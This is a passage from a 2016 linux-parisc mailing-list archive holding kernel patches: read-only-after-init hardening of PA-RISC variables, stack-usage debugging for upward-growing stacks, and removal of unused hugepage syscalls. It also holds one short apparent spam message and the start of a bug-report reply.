 void __init setup_pdc(void)
 {
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index a27e492..25edf2e 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -36,9 +36,9 @@
 #include <asm/uaccess.h>
 #include <asm/tlbflush.h>	/* for purge_tlb_*() macros */
 
-static struct proc_dir_entry * proc_gsc_root __read_mostly = NULL;
-static unsigned long pcxl_used_bytes __read_mostly = 0;
-static unsigned long pcxl_used_pages __read_mostly = 0;
+static struct proc_dir_entry * proc_gsc_root __ro_after_init;
+static unsigned long pcxl_used_bytes;
+static unsigned long pcxl_used_pages;
 
 extern unsigned long pcxl_dma_start; /* Start of pcxl dma mapping area */
 static spinlock_t   pcxl_res_lock;
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 0903c6a..dcc2da3 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -45,14 +45,14 @@
  * #define pci_post_reset_delay 50
  */
 
-struct pci_port_ops *pci_port __read_mostly;
-struct pci_bios_ops *pci_bios __read_mostly;
+struct pci_port_ops *pci_port __ro_after_init;
+struct pci_bios_ops *pci_bios __ro_after_init;
 
-static int pci_hba_count __read_mostly;
+static int pci_hba_count __ro_after_init;
 
 /* parisc_pci_hba used by pci_port->in/out() ops to lookup bus data.  */
 #define PCI_HBA_MAX 32
-static struct pci_hba_data *parisc_pci_hba[PCI_HBA_MAX] __read_mostly;
+static struct pci_hba_data *parisc_pci_hba[PCI_HBA_MAX] __ro_after_init;
 
 
 /********************************************************************
diff --git a/arch/parisc/kernel/pdc_chassis.c b/arch/parisc/kernel/pdc_chassis.c
index 3e04242..513e6e9 100644
--- a/arch/parisc/kernel/pdc_chassis.c
+++ b/arch/parisc/kernel/pdc_chassis.c
@@ -46,7 +46,7 @@
 #define PDC_CHASSIS_VER	"0.05"
 
 #ifdef CONFIG_PDC_CHASSIS
-static unsigned int pdc_chassis_enabled __read_mostly = 1;
+static unsigned int pdc_chassis_enabled __ro_after_init = 1;
 
 
 /**
diff --git a/arch/parisc/kernel/perf_images.h b/arch/parisc/kernel/perf_images.h
index 7fef964..c108fee 100644
--- a/arch/parisc/kernel/perf_images.h
+++ b/arch/parisc/kernel/perf_images.h
@@ -25,7 +25,7 @@
 
 #define PCXU_IMAGE_SIZE 584
 
-static uint32_t onyx_images[][PCXU_IMAGE_SIZE/sizeof(uint32_t)] __read_mostly = {
+static uint32_t onyx_images[][PCXU_IMAGE_SIZE/sizeof(uint32_t)] __ro_after_init = {
 /*
  * CPI:
  *
@@ -2093,7 +2093,7 @@ static uint32_t onyx_images[][PCXU_IMAGE_SIZE/sizeof(uint32_t)] __read_mostly =
 };
 #define PCXW_IMAGE_SIZE 576
 
-static uint32_t cuda_images[][PCXW_IMAGE_SIZE/sizeof(uint32_t)] __read_mostly = {
+static uint32_t cuda_images[][PCXW_IMAGE_SIZE/sizeof(uint32_t)] __ro_after_init = {
 /*
  * CPI:     FROM CPI.IDF (Image 0)
  *
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index e81ccf1..b475d95 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -42,10 +42,10 @@
 #include <asm/irq.h>		/* for struct irq_region */
 #include <asm/parisc-device.h>
 
-struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
+struct system_cpuinfo_parisc boot_cpu_data __ro_after_init;
 EXPORT_SYMBOL(boot_cpu_data);
 #ifdef CONFIG_PA8X00
-int _parisc_requires_coherency __read_mostly;
+int _parisc_requires_coherency __ro_after_init;
 EXPORT_SYMBOL(_parisc_requires_coherency);
 #endif
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index f7ea626..9e14d80 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -49,12 +49,12 @@
 static char __initdata command_line[COMMAND_LINE_SIZE];
 
 /* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
-struct proc_dir_entry * proc_runway_root __read_mostly = NULL;
-struct proc_dir_entry * proc_gsc_root __read_mostly = NULL;
-struct proc_dir_entry * proc_mckinley_root __read_mostly = NULL;
+struct proc_dir_entry * proc_runway_root __ro_after_init;
+struct proc_dir_entry * proc_gsc_root __ro_after_init;
+struct proc_dir_entry * proc_mckinley_root __ro_after_init;
 
 #if !defined(CONFIG_PA20) && (defined(CONFIG_IOMMU_CCIO) || defined(CONFIG_IOMMU_SBA))
-int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
+int parisc_bus_is_phys __ro_after_init = 1;	/* Assume no IOMMU is present */
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 400acac0..623382f 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -36,7 +36,7 @@
 
 #include <linux/timex.h>
 
-static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
+static unsigned long clocktick __ro_after_init;	/* timer cycles per tick */
 
 /*
  * We keep time on PA-RISC Linux by using the Interval Timer which is
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 553b098..2cc3148 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -340,7 +340,7 @@ static void default_trap(int code, struct pt_regs *regs)
 	show_regs(regs);
 }
 
-void (*cpu_lpmc) (int code, struct pt_regs *regs) __read_mostly = default_trap;
+void (*cpu_lpmc) (int code, struct pt_regs *regs) __ro_after_init = default_trap;
 
 
 void transfer_pim_to_trap_frame(struct pt_regs *regs)
diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index ddd988b..c7b160b 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -40,7 +40,7 @@ static spinlock_t unwind_lock;
  * we can call unwind_init as early in the bootup process as 
  * possible (before the slab allocator is initialized)
  */
-static struct unwind_table kernel_unwind_table __read_mostly;
+static struct unwind_table kernel_unwind_table __ro_after_init;
 static LIST_HEAD(unwind_tables);
 
 static inline const struct unwind_table_entry *
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 3c07d6b..c357414 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -49,8 +49,8 @@ pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((__section__ (".data..vm0.pgd"
 pte_t pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((__section__ (".data..vm0.pte"), aligned(PAGE_SIZE)));
 
 #ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_NUMNODES] __read_mostly;
-signed char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
+struct node_map_data node_data[MAX_NUMNODES] __ro_after_init;
+signed char pfnnid_map[PFNNID_MAP_MAX] __ro_after_init;
 #endif
 
 static struct resource data_resource = {
@@ -70,14 +70,14 @@ static struct resource pdcdata_resource = {
 	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
 };
 
-static struct resource sysram_resources[MAX_PHYSMEM_RANGES] __read_mostly;
+static struct resource sysram_resources[MAX_PHYSMEM_RANGES] __ro_after_init;
 
 /* The following array is initialized from the firmware specific
  * information retrieved in kernel/inventory.c.
  */
 
-physmem_range_t pmem_ranges[MAX_PHYSMEM_RANGES] __read_mostly;
-int npmem_ranges __read_mostly;
+physmem_range_t pmem_ranges[MAX_PHYSMEM_RANGES] __ro_after_init;
+int npmem_ranges __ro_after_init;
 
 #ifdef CONFIG_64BIT
 #define MAX_MEM         (~0UL)
@@ -85,7 +85,7 @@ int npmem_ranges __read_mostly;
 #define MAX_MEM         (3584U*1024U*1024U)
 #endif /* !CONFIG_64BIT */
 
-static unsigned long mem_limit __read_mostly = MAX_MEM;
+static unsigned long mem_limit __ro_after_init = MAX_MEM;
 
 static void __init mem_limit_func(void)
 {
@@ -577,11 +577,11 @@ void mark_rodata_ro(void)
 #define SET_MAP_OFFSET(x) ((void *)(((unsigned long)(x) + VM_MAP_OFFSET) \
 				     & ~(VM_MAP_OFFSET-1)))
 
-void *parisc_vmalloc_start __read_mostly;
+void *parisc_vmalloc_start __ro_after_init;
 EXPORT_SYMBOL(parisc_vmalloc_start);
 
 #ifdef CONFIG_PA11
-unsigned long pcxl_dma_start __read_mostly;
+unsigned long pcxl_dma_start __ro_after_init;
 #endif
 
 void __init mem_init(void)
@@ -650,7 +650,7 @@ void __init mem_init(void)
 #endif
 }
 
-unsigned long *empty_zero_page __read_mostly;
+unsigned long *empty_zero_page __ro_after_init;
 EXPORT_SYMBOL(empty_zero_page);
 
 void show_mem(unsigned int filter)
diff --git a/drivers/parisc/lasi.c b/drivers/parisc/lasi.c
index e65727c..212f740 100644
--- a/drivers/parisc/lasi.c
+++ b/drivers/parisc/lasi.c
@@ -150,7 +150,7 @@ static void __init lasi_led_init(unsigned long lasi_hpa)
  * 
  */
 
-static unsigned long lasi_power_off_hpa __read_mostly;
+static unsigned long lasi_power_off_hpa __ro_after_init;
 
 static void lasi_power_off(void)
 {
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2ec2aef..684c7c0 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -100,7 +100,7 @@
 
 /* non-postable I/O port space, densely packed */
 #define LBA_PORT_BASE	(PCI_F_EXTEND | 0xfee00000UL)
-static void __iomem *astro_iop_base __read_mostly;
+static void __iomem *astro_iop_base __ro_after_init;
 
 static u32 lba_t32;
 
diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index b482431..d589d1c 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -57,14 +57,14 @@
    relatively large amount of CPU time, some of the calculations can be 
    turned off with the following variables (controlled via procfs) */
 
-static int led_type __read_mostly = -1;
+static int led_type __ro_after_init = -1;
 static unsigned char lastleds;	/* LED state from most recent update */
 static unsigned int led_heartbeat __read_mostly = 1;
 static unsigned int led_diskio    __read_mostly = 1;
 static unsigned int led_lanrxtx   __read_mostly = 1;
 static char lcd_text[32]          __read_mostly;
 static char lcd_text_default[32]  __read_mostly;
-static int  lcd_no_led_support    __read_mostly = 0; /* KittyHawk doesn't support LED on its LCD */
+static int  lcd_no_led_support    __ro_after_init; /* KittyHawk doesn't support LED on its LCD */
 
 
 static struct workqueue_struct *led_wq;
@@ -149,7 +149,7 @@ static int start_task(void)
 device_initcall(start_task);
 
 /* ptr to LCD/LED-specific function */
-static void (*led_func_ptr) (unsigned char) __read_mostly;
+static void (*led_func_ptr) (unsigned char) __ro_after_init;
 
 #ifdef CONFIG_PROC_FS
 static int led_proc_show(struct seq_file *m, void *v)
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 3651c38..84d81e3 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -90,10 +90,10 @@ MODULE_LICENSE("GPL");
 MODULE_VERSION(PDCS_VERSION);
 
 /* holds Stable Storage size. Initialized once and for all, no lock needed */
-static unsigned long pdcs_size __read_mostly;
+static unsigned long pdcs_size __ro_after_init;
 
 /* holds OS ID. Initialized once and for all, hopefully to 0x0006 */
-static u16 pdcs_osid __read_mostly;
+static u16 pdcs_osid __ro_after_init;
 
 /* This struct defines what we need to deal with a parisc pdc path entry */
 struct pdcspath_entry {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert <kec.belimbing@muaraenimkab.go.id>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: RE
Date: Sat, 19 Mar 2016 17:06:47 +0700 (WIB)
Lines: 6
Approved: news@gmane.org
Message-ID: <1131389466.13178.1458382007774.JavaMail.zimbra__3118.20276915586$1458387949$gmane$org@muaraenimkab.go.id>
Reply-To: Robert <cquinn@netzero.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1458387949 1700 80.91.229.3 (19 Mar 2016 11:45:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Mar 2016 11:45:49 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 19 12:45:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ahFK3-0006zX-Ex
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Mar 2016 12:45:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754610AbcCSLpc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Mar 2016 07:45:32 -0400
Original-Received: from 173.subnet118-97-169.static.astinet.telkom.net.id ([118.97.169.173]:53949
	"EHLO zcs.muaraenimkab.go.id" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1753436AbcCSLpN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Mar 2016 07:45:13 -0400
X-Greylist: delayed 4104 seconds by postgrey-1.27 at vger.kernel.org; Sat, 19 Mar 2016 07:45:03 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by zcs.muaraenimkab.go.id (Postfix) with ESMTP id E68111E1BD7;
	Sat, 19 Mar 2016 17:07:47 +0700 (WIB)
Original-Received: from zcs.muaraenimkab.go.id ([127.0.0.1])
	by localhost (zcs.muaraenimkab.go.id [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id gU12B0J3bDBf; Sat, 19 Mar 2016 17:07:32 +0700 (WIB)
Original-Received: from localhost (localhost [127.0.0.1])
	by zcs.muaraenimkab.go.id (Postfix) with ESMTP id C64FE1E1AE0;
	Sat, 19 Mar 2016 17:07:17 +0700 (WIB)
X-Virus-Scanned: amavisd-new at zcs.muaraenimkab.go.id
Original-Received: from zcs.muaraenimkab.go.id ([127.0.0.1])
	by localhost (zcs.muaraenimkab.go.id [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id jzPISpBSHiT6; Sat, 19 Mar 2016 17:07:17 +0700 (WIB)
Original-Received: from zcs.muaraenimkab.go.id (localhost [127.0.0.1])
	by zcs.muaraenimkab.go.id (Postfix) with ESMTP id E211C1E0F6B;
	Sat, 19 Mar 2016 17:06:47 +0700 (WIB)
X-Originating-IP: [91.229.61.81]
X-Mailer: Zimbra 8.6.0_GA_1153 (zclient/8.6.0_GA_1153)
Thread-Topic: RE
Thread-Index: aLdM4T3QJoj9PKhPFRdQUj3SPC/Q/Q==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26533>

Please confirm receipt of my previous mail..When can i call you 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.ia64,gmane.linux.kernel
Subject: [PATCH] parisc,metag: Implement CONFIG_DEBUG_STACK_USAGE option
Date: Sat, 19 Mar 2016 17:54:10 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20160319165410.GA31630@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458406477 13484 80.91.229.3 (19 Mar 2016 16:54:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Mar 2016 16:54:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	James Hogan <james.hogan@imgtec.com>,
	linux-metag@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 19 17:54:32 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ahK90-00034Y-CY
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Mar 2016 17:54:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754752AbcCSQy3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Mar 2016 12:54:29 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:56800 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754586AbcCSQy2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Mar 2016 12:54:28 -0400
Original-Received: from p100.box ([92.203.21.186]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0Lg0sd-1a1jBO3jjv-00pcJs; Sat, 19 Mar 2016 17:54:14
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:6yeWGBkgseRHF6d0vgGQ9166y9Nw5W6a8ftBXdBNKgCuSgjN9wz
 ku3VpbPMPDHsEajB8LuYpZZ54rZNwaPScfQTp66Lbt2C6mE+WVXOZEFRFd1nXfm/Vpm2TL2
 SW75hIP1R5trxz2yeQhfZMLx3ntyRF3UWfgwJp/ZKmm3rp0sT69loWu124dbp22gZlCwCxJ
 9HlAC4FG8O5Ij2kP9v9jA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3L4Fn1X9G8I=:l/t3Nxq0oXQM6K6DWNajAA
 Tl7rPC7jA5MRI3B991J+DbQRacJ3VoZRlM/YuVQ3b18u/9n0d49Di81EwD8Jc7acy040oA5zy
 E5vgMOUoBT61bsqCsqg1VWazzX/8qnCfgxakaQJALe3Yt+MdgGB26bGTIiNF5vJhKazpim8Mg
 DWryL7IkvA6VhHraCApQbU7DJKLGhQc6xbbmt8BOUaM/KIToEQhwjIZjuKBOHyygC4bJMeGnw
 ibZW2zN+TCPobrfXOc7XGHakTaveOp+yoDB0HdmXpPlD3AAHgcAY4U6VxombrwO2+PcVzlRwP
 WgSrJOJLUpVYSSopjU+ieQDzVmi8WGEMm5K3irlrs1qf7lw3DXBt6VOEEIMqtnj+vqIEgCglB
 KgVRVir/hMcbrFIKMwDenvztr/i8FE58/0zXJ+t293XzYabzWrbrFeW+k1bQmSC3O6TZIpqka
 zTDAwEl5hoD1yLkDhGERgm+bLXk9PcvN2w9IdoiOAGe+T3lHTL/8xK0Z7PeGgbEDBBAx1JVri
 PKVgPA+GbEeJ11avYZQoSu5zNrWTgEEGiAZ+OfGplXjzhE9GxWdGH/l3my4SDaW7oBkeng9mJ
 Cw+XGv1vC0OootFOC4HqmMJCd5kHALH+EjWvNtQobtUviuDI0tfqq+2P0NIIhsfEbp1abiLB0
 XV7UQR5iQVsJWE67pDz6r3604JXSu20eP4ctc+gxsmMYO/MM52N8CmHsTCKFcMxMPFev8ekJj
 WiABetQnZ5iTm/H1mNpH6jGUOzD8MS0pSmBPl91H9iXOBcx8inG7el+e/VE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26534 gmane.linux.kernel.metag:1033 gmane.linux.ports.ia64:26458 gmane.linux.kernel:2180340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26534>

On parisc and metag the stack grows upwards, so for those we need to
scan the stack downwards in order to calculate how much stack a process
has used.

Tested on a 64bit parisc kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/sched.h b/include/linux/sched.h
index 084ed9f..71591f3 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2859,10 +2859,18 @@ static inline unsigned long stack_not_used(struct task_struct *p)
 	unsigned long *n = end_of_stack(p);
 
 	do { 	/* Skip over canary */
+# ifdef CONFIG_STACK_GROWSUP
+		n--;
+# else
 		n++;
+# endif
 	} while (!*n);
 
+# ifdef CONFIG_STACK_GROWSUP
+	return (unsigned long)end_of_stack(p) - (unsigned long)n;
+# else
 	return (unsigned long)n - (unsigned long)end_of_stack(p);
+# endif
 }
 #endif
 extern void set_task_stack_end_magic(struct task_struct *tsk);
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index f28f7fa..901f96c 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -546,7 +546,7 @@ config DEBUG_KMEMLEAK_DEFAULT_OFF
 
 config DEBUG_STACK_USAGE
 	bool "Stack utilization instrumentation"
-	depends on DEBUG_KERNEL && !IA64 && !PARISC && !METAG
+	depends on DEBUG_KERNEL && !IA64
 	help
 	  Enables the display of the minimum amount of free stack which each
 	  task has ever had available in the sysrq-T and sysrq-P debug output.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop alloc_hugepages and free_hugepages syscalls
Date: Sun, 20 Mar 2016 12:20:31 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20160320112031.GA3504@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458472856 11838 80.91.229.3 (20 Mar 2016 11:20:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Mar 2016 11:20:56 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 20 12:20:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ahbPZ-0004up-Fv
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Mar 2016 12:20:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754936AbcCTLUo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Mar 2016 07:20:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51425 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754117AbcCTLUn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Mar 2016 07:20:43 -0400
Original-Received: from ls3530.box ([92.203.21.186]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LhfN3-1a4C033R1V-00mqPI; Sun, 20 Mar 2016 12:20:34
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:yOhp8hld9Tu/FzvkrpKOtbOgfiZ32MptyKtYxWWIwZC+coLUdAW
 7/+WX2gC0ePKONf2j3gNiXipo9wAszPsB79xfEwmHgg8hupFDv09ZGBzhbjEzkxGRaYSohr
 240puxra5BtovacnZamaT/77yqxZsTZYIR2QMz8EjfqqFTySxPVyP1Sakn82ubWd1p7TYHH
 CVhtxpoQvLnU74Pt3xkug==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6RhCcOB7rOM=:BWY+2KzbjcZHMp64Ip52PN
 d58Y3gTKICZhNJATJI1XGfq/nyJ7d/4hrbFKhrDg2/vcKEZ4ivnnfSiUUQnbQLEqlojmP964Y
 NaEiMK5vZMUBr7GYALkqBGE7c5Rr7Xs4oO2x7wziV9PRSNRpHVEqEqcxb5DMp4UH5pu1PdRe2
 zpYMtijuFvdIb3cK4slUVNvmYzo/lwsGFWL528KzD7NM9giyXrAHkfXfwKy2nviWgeU2NfclV
 eBKyJA3zfob3vpMsa8J2e6+t+nUvgEWef1LJY/HKDJDIcn4ODvG+8K9E8BDRek2+G8OKclXqY
 rDYllvfYrqbSU9UMBvQEd33anQW51vtuoeKjH3ngyj/JdyJvX4U5OfzEIs3LhrMifO4T+QjKw
 73OVfT9H1Uao7lAxbbIa40FSzHmCjLTdgfiFUJ0u80SCZXZo/vDFPl+S3+wm8Y4CzsomT0CL8
 Vd52l5olduLhMrraaQi01L2YqhsMNC9u11WqL1nLdzDwIOvoJN7ijGGmANOkWWAEJWlC0TAfC
 47VH2WY52SGGpOe+SdtR3NB003KDKKEQykjH6+aAbRtnJyV8KgGX/Y7YrhNhQIvuu9wSxtZiH
 eyU6Ualx42KB+QTy3HAgagZOfjmnygavV8h4lQ8ivTSIBolJJsf851dQ2RAX4vjRfyohz9WYj
 C0XDUeVgvt8CX0wlGdSzt0tUhbV+tJRl8lVDLej5yq25OA05PT1Dsk2NMTAUS0OtXfYpy2NTl
 qfAY95m98B7P/M+4C/tj2WeIM8E7vvxil+b5vW6A+4KVwG3Ii2ns83pHzbk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26535>

Those syscalls were never implemented and don't exists in other arches
either.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index b75039f..fdb3c4e 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -235,8 +235,8 @@
 #define __NR_io_getevents       (__NR_Linux + 217)
 #define __NR_io_submit          (__NR_Linux + 218)
 #define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220)
-#define __NR_free_hugepages     (__NR_Linux + 221)
+#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
+#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
 #define __NR_exit_group         (__NR_Linux + 222)
 #define __NR_lookup_dcookie     (__NR_Linux + 223)
 #define __NR_epoll_create       (__NR_Linux + 224)
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 5aba01a..0a393a0 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -368,16 +368,6 @@ asmlinkage long parisc_fallocate(int fd, int mode, u32 offhi, u32 offlo,
                              ((u64)lenhi << 32) | lenlo);
 }
 
-asmlinkage unsigned long sys_alloc_hugepages(int key, unsigned long addr, unsigned long len, int prot, int flag)
-{
-	return -ENOMEM;
-}
-
-asmlinkage int sys_free_hugepages(unsigned long addr)
-{
-	return -EINVAL;
-}

From - Thu Nov 08 21:38:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Sun, 20 Mar 2016 19:12:44 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <56EEE81C.4080302@gmx.de>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
 <56E03E2A.5020208@bell.net> <56E093B6.4040206@gmx.de>
 <4070811.QJ02MzEnrO@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1458497618 16940 80.91.229.3 (20 Mar 2016 18:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Mar 2016 18:13:38 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Ming Lei <tom.leiming@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
